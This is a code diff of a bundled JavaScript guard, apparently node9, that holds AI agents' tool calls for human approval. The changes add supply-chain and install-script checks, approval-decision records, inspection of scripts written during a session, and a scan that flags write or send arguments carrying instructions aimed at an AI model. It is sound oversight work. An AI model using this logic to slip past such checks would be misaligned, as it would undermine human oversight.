@@ -16554,7 +17789,7 @@ async function initNode9SaaS(toolName, args, creds, meta, riskMetadata, agentPol
|
|
|
16554
17789
|
let ciContext;
|
|
16555
17790
|
if (process.env.CI) {
|
|
16556
17791
|
try {
|
|
16557
|
-
const ciContextPath =
|
|
17792
|
+
const ciContextPath = import_path22.default.join(import_os16.default.homedir(), ".node9", "ci-context.json");
|
|
16558
17793
|
const ci = readCappedText(ciContextPath, 1e4);
|
|
16559
17794
|
if (!ci) throw new Error("ci-context.json unreadable");
|
|
16560
17795
|
if (ci.truncated) throw new Error("ci-context.json exceeds 10 KB");
|
|
@@ -16596,9 +17831,9 @@ async function initNode9SaaS(toolName, args, creds, meta, riskMetadata, agentPol
|
|
|
16596
17831
|
context: {
|
|
16597
17832
|
agent: meta?.agent,
|
|
16598
17833
|
mcpServer: meta?.mcpServer,
|
|
16599
|
-
hostname:
|
|
17834
|
+
hostname: import_os16.default.hostname(),
|
|
16600
17835
|
cwd: process.cwd(),
|
|
16601
|
-
platform:
|
|
17836
|
+
platform: import_os16.default.platform()
|
|
16602
17837
|
},
|
|
16603
17838
|
// The SaaS validates riskMetadata strictly and would drop it whole on
|
|
16604
17839
|
// an unknown key, so only fields its schema declares go on the wire.
|
|
@@ -16672,14 +17907,14 @@ async function resolveNode9SaaS(requestId, creds, approved, decidedBy) {
|
|
|
16672
17907
|
});
|
|
16673
17908
|
clearTimeout(timer);
|
|
16674
17909
|
if (!res.ok) {
|
|
16675
|
-
|
|
17910
|
+
import_fs22.default.appendFileSync(
|
|
16676
17911
|
HOOK_DEBUG_LOG,
|
|
16677
17912
|
`[resolve-cloud] PATCH ${safeMessage(resolveUrl, 200)} \u2192 HTTP ${res.status}
|
|
16678
17913
|
`
|
|
16679
17914
|
);
|
|
16680
17915
|
}
|
|
16681
17916
|
} catch (err) {
|
|
16682
|
-
|
|
17917
|
+
import_fs22.default.appendFileSync(
|
|
16683
17918
|
HOOK_DEBUG_LOG,
|
|
16684
17919
|
`[resolve-cloud] PATCH failed for ${safeMessage(requestId, 64)}: ${safeMessage(err)}
|
|
16685
17920
|
`
|
|
@@ -16688,18 +17923,18 @@ async function resolveNode9SaaS(requestId, creds, approved, decidedBy) {
|
|
|
16688
17923
|
}
|
|
16689
17924
|
|
|
16690
17925
|
// src/loop-detector.ts
|
|
16691
|
-
var
|
|
16692
|
-
var
|
|
16693
|
-
var
|
|
17926
|
+
var import_fs23 = __toESM(require("fs"));
|
|
17927
|
+
var import_path23 = __toESM(require("path"));
|
|
17928
|
+
var import_os17 = __toESM(require("os"));
|
|
16694
17929
|
init_dist();
|
|
16695
17930
|
init_dist();
|
|
16696
17931
|
function loopStateFile() {
|
|
16697
|
-
return
|
|
17932
|
+
return import_path23.default.join(import_os17.default.homedir(), ".node9", "loop-state.json");
|
|
16698
17933
|
}
|
|
16699
17934
|
function readState() {
|
|
16700
17935
|
try {
|
|
16701
|
-
if (!
|
|
16702
|
-
const raw =
|
|
17936
|
+
if (!import_fs23.default.existsSync(loopStateFile())) return [];
|
|
17937
|
+
const raw = import_fs23.default.readFileSync(loopStateFile(), "utf-8");
|
|
16703
17938
|
const parsed = JSON.parse(raw);
|
|
16704
17939
|
if (!Array.isArray(parsed)) return [];
|
|
16705
17940
|
return parsed;
|
|
@@ -16708,11 +17943,11 @@ function readState() {
|
|
|
16708
17943
|
}
|
|
16709
17944
|
}
|
|
16710
17945
|
function writeState(records) {
|
|
16711
|
-
const dir2 =
|
|
16712
|
-
if (!
|
|
16713
|
-
const tmpPath = `${loopStateFile()}.${
|
|
16714
|
-
|
|
16715
|
-
|
|
17946
|
+
const dir2 = import_path23.default.dirname(loopStateFile());
|
|
17947
|
+
if (!import_fs23.default.existsSync(dir2)) import_fs23.default.mkdirSync(dir2, { recursive: true });
|
|
17948
|
+
const tmpPath = `${loopStateFile()}.${import_os17.default.hostname()}.${process.pid}.tmp`;
|
|
17949
|
+
import_fs23.default.writeFileSync(tmpPath, JSON.stringify(records));
|
|
17950
|
+
import_fs23.default.renameSync(tmpPath, loopStateFile());
|
|
16716
17951
|
}
|
|
16717
17952
|
function recordAndCheck(tool, args, threshold = 3, windowMs = 12e4) {
|
|
16718
17953
|
try {
|
|
@@ -16726,21 +17961,21 @@ function recordAndCheck(tool, args, threshold = 3, windowMs = 12e4) {
|
|
|
16726
17961
|
|
|
16727
17962
|
// src/supply-chain/check.ts
|
|
16728
17963
|
var import_picomatch3 = __toESM(require("picomatch"));
|
|
16729
|
-
var
|
|
17964
|
+
var import_path26 = __toESM(require("path"));
|
|
16730
17965
|
init_dist();
|
|
16731
17966
|
|
|
16732
17967
|
// src/supply-chain/osv-index.ts
|
|
16733
|
-
var
|
|
16734
|
-
var
|
|
16735
|
-
var
|
|
17968
|
+
var import_fs24 = __toESM(require("fs"));
|
|
17969
|
+
var import_os18 = __toESM(require("os"));
|
|
17970
|
+
var import_path24 = __toESM(require("path"));
|
|
16736
17971
|
var import_crypto9 = require("crypto");
|
|
16737
17972
|
init_dist();
|
|
16738
17973
|
var INDEX_FRESH_MS = 72 * 60 * 60 * 1e3;
|
|
16739
17974
|
function osvRoot() {
|
|
16740
|
-
return
|
|
17975
|
+
return import_path24.default.join(import_os18.default.homedir(), ".node9", "osv");
|
|
16741
17976
|
}
|
|
16742
17977
|
function ecoDir(eco) {
|
|
16743
|
-
return
|
|
17978
|
+
return import_path24.default.join(osvRoot(), eco);
|
|
16744
17979
|
}
|
|
16745
17980
|
function indexKey(eco, name) {
|
|
16746
17981
|
switch (eco) {
|
|
@@ -16759,11 +17994,11 @@ function shardOf(key) {
|
|
|
16759
17994
|
return (0, import_crypto9.createHash)("sha1").update(key).digest("hex").slice(0, 2);
|
|
16760
17995
|
}
|
|
16761
17996
|
function shardPath(eco, shard) {
|
|
16762
|
-
return
|
|
17997
|
+
return import_path24.default.join(ecoDir(eco), "shards", `${shard}.json`);
|
|
16763
17998
|
}
|
|
16764
17999
|
function readMeta(eco) {
|
|
16765
18000
|
try {
|
|
16766
|
-
const m = JSON.parse(
|
|
18001
|
+
const m = JSON.parse(import_fs24.default.readFileSync(import_path24.default.join(ecoDir(eco), "meta.json"), "utf8"));
|
|
16767
18002
|
if (typeof m?.syncedAt !== "string" || typeof m?.lastModifiedMs !== "number") return null;
|
|
16768
18003
|
return m;
|
|
16769
18004
|
} catch {
|
|
@@ -16772,7 +18007,7 @@ function readMeta(eco) {
|
|
|
16772
18007
|
}
|
|
16773
18008
|
function readShard(eco, shard) {
|
|
16774
18009
|
try {
|
|
16775
|
-
const s = JSON.parse(
|
|
18010
|
+
const s = JSON.parse(import_fs24.default.readFileSync(shardPath(eco, shard), "utf8"));
|
|
16776
18011
|
return s && typeof s === "object" && !Array.isArray(s) ? s : {};
|
|
16777
18012
|
} catch {
|
|
16778
18013
|
return {};
|
|
@@ -16901,21 +18136,48 @@ async function queryOsvMalicious(queries) {
|
|
|
16901
18136
|
var import_semver = require("semver");
|
|
16902
18137
|
var TIMEOUT_MS2 = 1500;
|
|
16903
18138
|
var MAX_BYTES = 2 * 1024 * 1024;
|
|
18139
|
+
var VERSION_DOC_MAX_BYTES = 256 * 1024;
|
|
18140
|
+
var INSTALL_SCRIPTS = ["preinstall", "install", "postinstall"];
|
|
18141
|
+
async function npmVersionDocument(url, selector) {
|
|
18142
|
+
const doc = await fetchJson(`${url}/${encodeURIComponent(selector)}`, {
|
|
18143
|
+
timeoutMs: TIMEOUT_MS2,
|
|
18144
|
+
maxBytes: VERSION_DOC_MAX_BYTES
|
|
18145
|
+
});
|
|
18146
|
+
if (!doc?.version) return null;
|
|
18147
|
+
const scripts = doc.scripts ?? {};
|
|
18148
|
+
return {
|
|
18149
|
+
version: doc.version,
|
|
18150
|
+
hasInstallScript: INSTALL_SCRIPTS.some(
|
|
18151
|
+
(k) => typeof scripts[k] === "string" && scripts[k].length > 0
|
|
18152
|
+
),
|
|
18153
|
+
ageFallback: `abbreviated document over the size cap; version read from /${selector}, which has no publish time`
|
|
18154
|
+
};
|
|
18155
|
+
}
|
|
16904
18156
|
async function npmInfo(name, version, freshWindowMs, raw) {
|
|
16905
18157
|
const base2 = endpoints().npmRegistry;
|
|
16906
18158
|
if (!base2) return null;
|
|
16907
18159
|
const url = `${base2}/${name.replaceAll("/", "%2F")}`;
|
|
16908
|
-
const doc = await fetchJson(url, {
|
|
16909
|
-
timeoutMs: TIMEOUT_MS2,
|
|
16910
|
-
maxBytes: MAX_BYTES,
|
|
16911
|
-
headers: { Accept: "application/vnd.npm.install-v1+json" }
|
|
16912
|
-
});
|
|
16913
|
-
if (!doc) return null;
|
|
16914
|
-
const latest = doc["dist-tags"]?.latest;
|
|
16915
18160
|
const aliasStart = raw?.indexOf("@npm:") ?? -1;
|
|
16916
18161
|
const target = aliasStart > 0 ? raw.slice(aliasStart + 5) : raw?.replace(/^npm:/, "");
|
|
16917
18162
|
const specStart = target?.indexOf("@", 1) ?? -1;
|
|
16918
18163
|
const spec = specStart > 0 ? target.slice(specStart + 1) : "";
|
|
18164
|
+
let doc;
|
|
18165
|
+
try {
|
|
18166
|
+
doc = await fetchJson(url, {
|
|
18167
|
+
timeoutMs: TIMEOUT_MS2,
|
|
18168
|
+
maxBytes: MAX_BYTES,
|
|
18169
|
+
headers: { Accept: "application/vnd.npm.install-v1+json" }
|
|
18170
|
+
});
|
|
18171
|
+
} catch (err) {
|
|
18172
|
+
if (!/too large/.test(err.message)) throw err;
|
|
18173
|
+
const range = !version && spec && (0, import_semver.validRange)(spec) ? spec : null;
|
|
18174
|
+
const selector = version ?? (spec && !range ? spec : "latest");
|
|
18175
|
+
const info2 = await npmVersionDocument(url, selector);
|
|
18176
|
+
if (info2 && range && !(0, import_semver.satisfies)(info2.version, range)) return null;
|
|
18177
|
+
return info2;
|
|
18178
|
+
}
|
|
18179
|
+
if (!doc) return null;
|
|
18180
|
+
const latest = doc["dist-tags"]?.latest;
|
|
16919
18181
|
let resolved = version;
|
|
16920
18182
|
if (!resolved) {
|
|
16921
18183
|
if (!spec) resolved = latest;
|
|
@@ -16972,19 +18234,19 @@ async function registryInfo(eco, name, version, freshWindowMs, raw) {
|
|
|
16972
18234
|
}
|
|
16973
18235
|
|
|
16974
18236
|
// src/supply-chain/local-resolve.ts
|
|
16975
|
-
var
|
|
16976
|
-
var
|
|
18237
|
+
var import_fs25 = __toESM(require("fs"));
|
|
18238
|
+
var import_path25 = __toESM(require("path"));
|
|
16977
18239
|
var MAX_LEVELS = 32;
|
|
16978
18240
|
var LOCAL_FIRST_MANAGERS = /* @__PURE__ */ new Set(["npx", "bunx", "npm exec"]);
|
|
16979
18241
|
function resolveInstalled(name, cwd) {
|
|
16980
|
-
if (!cwd || !
|
|
18242
|
+
if (!cwd || !import_path25.default.isAbsolute(cwd)) return null;
|
|
16981
18243
|
if (!/^(?:@[^/\\]+\/)?[^/\\]+$/.test(name)) return null;
|
|
16982
|
-
let dir2 =
|
|
18244
|
+
let dir2 = import_path25.default.resolve(cwd);
|
|
16983
18245
|
for (let i = 0; i < MAX_LEVELS; i++) {
|
|
16984
|
-
const pkgDir =
|
|
16985
|
-
const manifest =
|
|
18246
|
+
const pkgDir = import_path25.default.join(dir2, "node_modules", ...name.split("/"));
|
|
18247
|
+
const manifest = import_path25.default.join(pkgDir, "package.json");
|
|
16986
18248
|
try {
|
|
16987
|
-
const raw =
|
|
18249
|
+
const raw = import_fs25.default.readFileSync(manifest, "utf8");
|
|
16988
18250
|
const parsed = JSON.parse(raw);
|
|
16989
18251
|
if (typeof parsed.version === "string" && parsed.version.length > 0) {
|
|
16990
18252
|
return { version: parsed.version, dir: pkgDir };
|
|
@@ -16992,7 +18254,7 @@ function resolveInstalled(name, cwd) {
|
|
|
16992
18254
|
return null;
|
|
16993
18255
|
} catch {
|
|
16994
18256
|
}
|
|
16995
|
-
const parent =
|
|
18257
|
+
const parent = import_path25.default.dirname(dir2);
|
|
16996
18258
|
if (parent === dir2) break;
|
|
16997
18259
|
dir2 = parent;
|
|
16998
18260
|
}
|
|
@@ -17114,7 +18376,7 @@ function checkInstalled(p, version, misses) {
|
|
|
17114
18376
|
}
|
|
17115
18377
|
async function checkOne(p, cfg, misses, networkCapped, cwd) {
|
|
17116
18378
|
if (p.ecosystem === "npm" && LOCAL_FIRST_MANAGERS.has(p.manager) && p.localCwd !== null && (p.raw === p.name || p.version)) {
|
|
17117
|
-
const localCwd = cwd &&
|
|
18379
|
+
const localCwd = cwd && import_path26.default.isAbsolute(cwd) ? (p.localCwd ?? []).reduce((dir2, step) => import_path26.default.resolve(dir2, step), cwd) : void 0;
|
|
17118
18380
|
const installed = resolveInstalled(p.name, localCwd);
|
|
17119
18381
|
if (installed && (!p.version || p.version === installed.version))
|
|
17120
18382
|
return checkInstalled(p, installed.version, misses);
|
|
@@ -17129,7 +18391,7 @@ async function checkOne(p, cfg, misses, networkCapped, cwd) {
|
|
|
17129
18391
|
if (!info) misses.push(`${label(p, p.version)}: registry metadata unavailable`);
|
|
17130
18392
|
else if (info.ageFallback)
|
|
17131
18393
|
misses.push(
|
|
17132
|
-
`${label(p, info.version)}: age from the package modified time (${info.ageFallback})`
|
|
18394
|
+
`${label(p, info.version)}: ${info.publishedAtMs === void 0 ? "publish time unavailable" : "age from the package modified time"} (${info.ageFallback})`
|
|
17133
18395
|
);
|
|
17134
18396
|
} catch (err) {
|
|
17135
18397
|
misses.push(`${label(p, p.version)}: registry ${err.message}`);
|
|
@@ -17220,17 +18482,98 @@ function asApprovalRequest(description) {
|
|
|
17220
18482
|
return description;
|
|
17221
18483
|
}
|
|
17222
18484
|
|
|
17223
|
-
// src/auth/
|
|
17224
|
-
var
|
|
17225
|
-
|
|
17226
|
-
"
|
|
17227
|
-
|
|
17228
|
-
|
|
17229
|
-
|
|
17230
|
-
|
|
17231
|
-
...
|
|
17232
|
-
|
|
17233
|
-
|
|
18485
|
+
// src/auth/card-result.ts
|
|
18486
|
+
var CHANNEL_NAMES = {
|
|
18487
|
+
terminal: "Terminal (node9 tail)",
|
|
18488
|
+
monitor: "node9 monitor",
|
|
18489
|
+
native: "system dialog window",
|
|
18490
|
+
cloud: "organization"
|
|
18491
|
+
};
|
|
18492
|
+
function authResultFromRecord(r, ctx = {}) {
|
|
18493
|
+
const who = { decidedBy: r.decidedBy, ...r.channel && { channel: r.channel } };
|
|
18494
|
+
switch (r.decidedBy) {
|
|
18495
|
+
case "person": {
|
|
18496
|
+
const channel = r.channel ?? "terminal";
|
|
18497
|
+
const decisionSource = channel === "native" ? "native" : "terminal";
|
|
18498
|
+
if (r.decision === "allow") {
|
|
18499
|
+
return { approved: true, checkedBy: "daemon", decisionSource, ...who };
|
|
18500
|
+
}
|
|
18501
|
+
return {
|
|
18502
|
+
approved: false,
|
|
18503
|
+
reason: r.redirect || `The human user rejected this action via the Node9 ${CHANNEL_NAMES[channel]}.`,
|
|
18504
|
+
blockedBy: "local-decision",
|
|
18505
|
+
blockedByLabel: r.label,
|
|
18506
|
+
decisionSource,
|
|
18507
|
+
...who,
|
|
18508
|
+
...r.redirect && { redirect: r.redirect }
|
|
18509
|
+
};
|
|
18510
|
+
}
|
|
18511
|
+
case "timer":
|
|
18512
|
+
if (r.decision === "deny" && ctx.downgradedBlock)
|
|
18513
|
+
return { ...ctx.downgradedBlock, blockedBy: "timeout", ...who };
|
|
18514
|
+
return r.decision === "allow" ? { approved: true, ...who } : {
|
|
18515
|
+
approved: false,
|
|
18516
|
+
reason: ctx.timeoutReason || r.reason || "No response: auto-denied after the approval timeout.",
|
|
18517
|
+
blockedBy: "timeout",
|
|
18518
|
+
blockedByLabel: TIMER_LABEL,
|
|
18519
|
+
...who
|
|
18520
|
+
};
|
|
18521
|
+
case "cloud":
|
|
18522
|
+
return r.decision === "allow" ? { approved: true, checkedBy: "cloud", decisionSource: "cloud", ...who } : {
|
|
18523
|
+
approved: false,
|
|
18524
|
+
reason: r.reason || "Action rejected by organization administrator via Slack.",
|
|
18525
|
+
blockedBy: "team-policy",
|
|
18526
|
+
blockedByLabel: CLOUD_LABEL,
|
|
18527
|
+
decisionSource: "cloud",
|
|
18528
|
+
...who
|
|
18529
|
+
};
|
|
18530
|
+
case "policy":
|
|
18531
|
+
return r.decision === "allow" ? { approved: true, checkedBy: "local-policy", ...who } : {
|
|
18532
|
+
approved: false,
|
|
18533
|
+
reason: r.reason || "Action blocked by policy.",
|
|
18534
|
+
blockedBy: "local-config",
|
|
18535
|
+
blockedByLabel: r.label,
|
|
18536
|
+
...r.ruleName && { ruleHit: r.ruleName },
|
|
18537
|
+
...who
|
|
18538
|
+
};
|
|
18539
|
+
case "abandoned":
|
|
18540
|
+
return {
|
|
18541
|
+
approved: false,
|
|
18542
|
+
reason: r.reason || "No approver was left to answer.",
|
|
18543
|
+
blockedBy: "no-approval-mechanism",
|
|
18544
|
+
blockedByLabel: ABANDONED_LABEL,
|
|
18545
|
+
...who
|
|
18546
|
+
};
|
|
18547
|
+
}
|
|
18548
|
+
}
|
|
18549
|
+
function approvalUnavailable(reason) {
|
|
18550
|
+
return {
|
|
18551
|
+
approved: false,
|
|
18552
|
+
reason: reason || "node9 could not get an approval decision for this call.",
|
|
18553
|
+
blockedBy: "no-approval-mechanism",
|
|
18554
|
+
blockedByLabel: "Approval Unavailable"
|
|
18555
|
+
};
|
|
18556
|
+
}
|
|
18557
|
+
function decidedByOf(res) {
|
|
18558
|
+
if (res.decidedBy) return res.decidedBy;
|
|
18559
|
+
if (res.blockedBy === "timeout") return "timer";
|
|
18560
|
+
if (res.checkedBy === "cloud" || res.blockedBy === "team-policy") return "cloud";
|
|
18561
|
+
return "policy";
|
|
18562
|
+
}
|
|
18563
|
+
function recordFromAuthResult(res, now = Date.now()) {
|
|
18564
|
+
const decidedBy = decidedByOf(res);
|
|
18565
|
+
const channel = res.channel ?? (decidedBy === "cloud" ? "cloud" : decidedBy === "person" ? "native" : void 0);
|
|
18566
|
+
return {
|
|
18567
|
+
decision: res.approved ? "allow" : "deny",
|
|
18568
|
+
decidedBy,
|
|
18569
|
+
...channel && { channel },
|
|
18570
|
+
label: res.blockedByLabel || (decidedBy === "cloud" ? CLOUD_LABEL : decidedBy === "timer" ? TIMER_LABEL : res.approved ? "Allowed" : "Blocked"),
|
|
18571
|
+
...res.reason && { reason: res.reason.slice(0, 2e3) },
|
|
18572
|
+
...res.ruleHit && { ruleName: res.ruleHit },
|
|
18573
|
+
...res.redirect && { redirect: res.redirect },
|
|
18574
|
+
decidedAt: now
|
|
18575
|
+
};
|
|
18576
|
+
}
|
|
17234
18577
|
|
|
17235
18578
|
// src/auth/orchestrator.ts
|
|
17236
18579
|
var SENSITIVE_PATH_PATTERN = sensitivePathMatch("").patternName;
|
|
@@ -17275,6 +18618,15 @@ var WRITE_TOOLS = /* @__PURE__ */ new Set([
|
|
|
17275
18618
|
"notebook_edit",
|
|
17276
18619
|
"notebookedit"
|
|
17277
18620
|
]);
|
|
18621
|
+
var VERDICT_RANK2 = { allow: 0, review: 1, block: 2 };
|
|
18622
|
+
function fromScript(v, script) {
|
|
18623
|
+
const inScript = (text) => `In ${script}, a script written this session: ${text ?? "the shell checks asked for a review"}`;
|
|
18624
|
+
return {
|
|
18625
|
+
...v,
|
|
18626
|
+
reason: inScript(v.reason),
|
|
18627
|
+
ruleDescription: inScript(v.ruleDescription ?? v.reason)
|
|
18628
|
+
};
|
|
18629
|
+
}
|
|
17278
18630
|
function isWriteTool(toolName) {
|
|
17279
18631
|
const t = toolName.toLowerCase().replace(/[^a-z_]/g, "_");
|
|
17280
18632
|
return WRITE_TOOLS.has(t);
|
|
@@ -17424,6 +18776,20 @@ async function _authorizeHeadlessCore(toolName, args, metaArg, options) {
|
|
|
17424
18776
|
fileFinding = isManual ? null : incompleteFileVerdict();
|
|
17425
18777
|
}
|
|
17426
18778
|
const shellInput = resolveShellInput(toolName, args, inspectionLayers(config.policy));
|
|
18779
|
+
if (!isManual) await recordSessionWrites(toolName, args, fileAccess, options?.cwd);
|
|
18780
|
+
const sessionScript = isManual ? null : await resolveSessionScript(toolName, args, options?.cwd, inspectionLayers(config.policy));
|
|
18781
|
+
if (sessionScript) {
|
|
18782
|
+
try {
|
|
18783
|
+
const inner = evaluateProtectedFileAccess(
|
|
18784
|
+
sessionScript.fileAccess.accesses,
|
|
18785
|
+
sessionScript.fileAccess,
|
|
18786
|
+
catalogSettingsFromConfig(config.settings, config.policy)
|
|
18787
|
+
);
|
|
18788
|
+
if (inner && (!fileFinding || VERDICT_RANK2[inner.decision] > VERDICT_RANK2[fileFinding.decision]))
|
|
18789
|
+
fileFinding = fromScript(inner, sessionScript.path);
|
|
18790
|
+
} catch {
|
|
18791
|
+
}
|
|
18792
|
+
}
|
|
17427
18793
|
const networkShell = shellInput.kind === "shell" && NETWORK_COMMAND_RE.test(shellInput.command);
|
|
17428
18794
|
const shellReview = !isManual && shellInput.kind === "uninspectable";
|
|
17429
18795
|
if (shellReview) {
|
|
@@ -17432,12 +18798,22 @@ async function _authorizeHeadlessCore(toolName, args, metaArg, options) {
|
|
|
17432
18798
|
policyRuleDescription = "The executable command could not be inspected. Approve this call explicitly.";
|
|
17433
18799
|
}
|
|
17434
18800
|
const fileReview = !isObserveMode && config.settings.mode !== "audit" && fileFinding?.decision === "review";
|
|
17435
|
-
const evaluateCurrentPolicy = (skipIgnoredFastPath = false) =>
|
|
17436
|
-
|
|
17437
|
-
|
|
17438
|
-
|
|
17439
|
-
|
|
17440
|
-
|
|
18801
|
+
const evaluateCurrentPolicy = async (skipIgnoredFastPath = false) => {
|
|
18802
|
+
const own = await evaluatePolicy2(toolName, args, meta?.agent, options?.cwd, {
|
|
18803
|
+
fileAccess,
|
|
18804
|
+
config,
|
|
18805
|
+
skipIgnoredFastPath,
|
|
18806
|
+
argumentScan: argScan
|
|
18807
|
+
});
|
|
18808
|
+
if (!sessionScript || own.decision === "block") return own;
|
|
18809
|
+
const inner = await evaluatePolicy2("Bash", sessionScript.args, meta?.agent, options?.cwd, {
|
|
18810
|
+
fileAccess: sessionScript.fileAccess,
|
|
18811
|
+
config,
|
|
18812
|
+
skipIgnoredFastPath
|
|
18813
|
+
});
|
|
18814
|
+
if (VERDICT_RANK2[inner.decision] <= VERDICT_RANK2[own.decision]) return own;
|
|
18815
|
+
return fromScript(inner, sessionScript.path);
|
|
18816
|
+
};
|
|
17441
18817
|
if (fileFinding) {
|
|
17442
18818
|
meta = { ...meta, ruleName: fileFinding.ruleName };
|
|
17443
18819
|
hashAuditArgs = true;
|
|
@@ -17530,6 +18906,15 @@ async function _authorizeHeadlessCore(toolName, args, metaArg, options) {
|
|
|
17530
18906
|
taintWarning = `\u26A0\uFE0F node9 flagged this session \u2014 earlier tool output contained ${sessionTaint.record.source}. Approve this ${kind} action before it proceeds.`;
|
|
17531
18907
|
}
|
|
17532
18908
|
}
|
|
18909
|
+
if (!taintWarning && config.policy.injectionScan?.enabled && !isManual) {
|
|
18910
|
+
const sends = isMcpToolName(toolName) && extractArgDestinations(args).length > 0;
|
|
18911
|
+
if (isWriteTool(toolName) || sends) {
|
|
18912
|
+
const m = scanInjection(argumentLeavesText(args), { untrusted: false });
|
|
18913
|
+
if (m && (m.confidence === "medium" || m.confidence === "high")) {
|
|
18914
|
+
taintWarning = `\u26A0\uFE0F node9: the content this call ${isWriteTool(toolName) ? "writes" : "sends"} carries instructions aimed at an AI model (${m.signals.join(", ")}). Approve only if that is what you meant.`;
|
|
18915
|
+
}
|
|
18916
|
+
}
|
|
18917
|
+
}
|
|
17533
18918
|
let exposureReview = null;
|
|
17534
18919
|
let exposureKeys = [];
|
|
17535
18920
|
let exposureDestinations = [];
|
|
@@ -17643,7 +19028,7 @@ async function _authorizeHeadlessCore(toolName, args, metaArg, options) {
|
|
|
17643
19028
|
const parts = held.map(
|
|
17644
19029
|
(h) => h.dest ? `sends to ${destinationValue(h.dest)}, ${h.why === "appeared in what was read" ? `${noun(h.dest)} that appeared in that ${last ? readWord : "content"}` : `${noun(h.dest)} this session did not know`}` : h.why === "repository" ? h.repo.endsWith("/*") ? `sends to a repository on ${h.repo.slice(0, -2)} it does not name (a gist, a new repository or an API call)` : `sends to ${h.repo}, a repository that is not one of this project's remotes` : h.why === "unresolved" ? "sends to a destination this session cannot see (built at run time, or a remote of another repository)" : `is ${bare}, a destructive call, with no known destination`
|
|
17645
19030
|
);
|
|
17646
|
-
const home =
|
|
19031
|
+
const home = import_os19.default.homedir();
|
|
17647
19032
|
const short = (p) => p.startsWith(home + "/") ? "~" + p.slice(home.length) : p;
|
|
17648
19033
|
for (const w of writeHolds) {
|
|
17649
19034
|
parts.push(
|
|
@@ -18270,28 +19655,22 @@ ${packageReview}`;
|
|
|
18270
19655
|
const { signal } = abortController;
|
|
18271
19656
|
const racePromises = [];
|
|
18272
19657
|
const approvalTimeoutMs = config.settings.approvalTimeoutMs ?? 0;
|
|
18273
|
-
if (approvalTimeoutMs > 0) {
|
|
18274
|
-
racePromises.push(
|
|
18275
|
-
new Promise((resolve, reject) => {
|
|
18276
|
-
const timer = setTimeout(() => {
|
|
18277
|
-
resolve({
|
|
18278
|
-
approved: false,
|
|
18279
|
-
reason: approvalTimeoutReason(approvalTimeoutMs),
|
|
18280
|
-
blockedBy: "timeout",
|
|
18281
|
-
blockedByLabel: "Approval Timeout"
|
|
18282
|
-
});
|
|
18283
|
-
}, approvalTimeoutMs);
|
|
18284
|
-
signal.addEventListener("abort", () => {
|
|
18285
|
-
clearTimeout(timer);
|
|
18286
|
-
reject(new Error("Aborted"));
|
|
18287
|
-
});
|
|
18288
|
-
})
|
|
18289
|
-
);
|
|
18290
|
-
}
|
|
18291
19658
|
let viewerId = null;
|
|
18292
19659
|
const internalToken = getInternalToken();
|
|
18293
19660
|
let daemonEntryId = null;
|
|
18294
19661
|
let daemonAllowCount = 1;
|
|
19662
|
+
let cardDeadline;
|
|
19663
|
+
const cardOptions = {
|
|
19664
|
+
channels: [
|
|
19665
|
+
"terminal",
|
|
19666
|
+
"monitor",
|
|
19667
|
+
// Only when the popup can show: a card listing a channel nobody can
|
|
19668
|
+
// use is never abandoned when node9 tail closes, and waits unanswered.
|
|
19669
|
+
...approvers.native && !isManual && !options?.calledFromDaemon && (process.platform === "darwin" || process.platform === "win32" || !!(process.env.DISPLAY || process.env.WAYLAND_DISPLAY)) ? ["native"] : [],
|
|
19670
|
+
...cloudEnforced && cloudRequestId && cloudMayVote ? ["cloud"] : []
|
|
19671
|
+
],
|
|
19672
|
+
timeoutMs: approvalTimeoutMs
|
|
19673
|
+
};
|
|
18295
19674
|
if (approvers.terminal && isDaemonRunning() && !options?.calledFromDaemon) {
|
|
18296
19675
|
if (cloudEnforced && cloudRequestId) {
|
|
18297
19676
|
const viewer = await notifyDaemonViewer(
|
|
@@ -18300,11 +19679,20 @@ ${packageReview}`;
|
|
|
18300
19679
|
meta,
|
|
18301
19680
|
riskMetadata,
|
|
18302
19681
|
options?.activityId,
|
|
18303
|
-
options?.socketActivitySent
|
|
19682
|
+
options?.socketActivitySent,
|
|
19683
|
+
{
|
|
19684
|
+
cwd: options?.cwd,
|
|
19685
|
+
recoveryCommand: statefulRecoveryCommand,
|
|
19686
|
+
sessionId: meta?.sessionId,
|
|
19687
|
+
card: cardOptions
|
|
19688
|
+
}
|
|
18304
19689
|
).catch(() => null);
|
|
18305
19690
|
viewerId = viewer?.id ?? null;
|
|
18306
19691
|
daemonEntryId = viewerId;
|
|
18307
|
-
if (viewer)
|
|
19692
|
+
if (viewer) {
|
|
19693
|
+
daemonAllowCount = viewer.allowCount;
|
|
19694
|
+
cardDeadline = viewer.deadline;
|
|
19695
|
+
}
|
|
18308
19696
|
} else {
|
|
18309
19697
|
try {
|
|
18310
19698
|
const entry = await registerDaemonEntry(
|
|
@@ -18328,14 +19716,35 @@ ${packageReview}`;
|
|
|
18328
19716
|
void 0,
|
|
18329
19717
|
localSmartRuleMatched || options?.localSmartRuleMatched,
|
|
18330
19718
|
options?.socketActivitySent,
|
|
18331
|
-
meta?.sessionId
|
|
19719
|
+
meta?.sessionId,
|
|
19720
|
+
cardOptions
|
|
18332
19721
|
);
|
|
18333
19722
|
daemonEntryId = entry.id;
|
|
18334
19723
|
daemonAllowCount = entry.allowCount;
|
|
19724
|
+
cardDeadline = entry.deadline;
|
|
18335
19725
|
} catch {
|
|
18336
19726
|
}
|
|
18337
19727
|
}
|
|
18338
19728
|
}
|
|
19729
|
+
if (approvalTimeoutMs > 0 && cardDeadline === void 0) {
|
|
19730
|
+
racePromises.push(
|
|
19731
|
+
new Promise((resolve, reject) => {
|
|
19732
|
+
const timer = setTimeout(() => {
|
|
19733
|
+
resolve({
|
|
19734
|
+
approved: false,
|
|
19735
|
+
reason: approvalTimeoutReason(approvalTimeoutMs),
|
|
19736
|
+
blockedBy: "timeout",
|
|
19737
|
+
blockedByLabel: "Approval Timeout",
|
|
19738
|
+
decidedBy: "timer"
|
|
19739
|
+
});
|
|
19740
|
+
}, approvalTimeoutMs);
|
|
19741
|
+
signal.addEventListener("abort", () => {
|
|
19742
|
+
clearTimeout(timer);
|
|
19743
|
+
reject(new Error("Aborted"));
|
|
19744
|
+
});
|
|
19745
|
+
})
|
|
19746
|
+
);
|
|
19747
|
+
}
|
|
18339
19748
|
if (cloudEnforced && cloudRequestId && cloudMayVote) {
|
|
18340
19749
|
racePromises.push(
|
|
18341
19750
|
(async () => {
|
|
@@ -18346,7 +19755,9 @@ ${packageReview}`;
|
|
|
18346
19755
|
reason: cloudResult.approved ? void 0 : cloudResult.reason || "Action rejected by organization administrator via Slack.",
|
|
18347
19756
|
checkedBy: cloudResult.approved ? "cloud" : void 0,
|
|
18348
19757
|
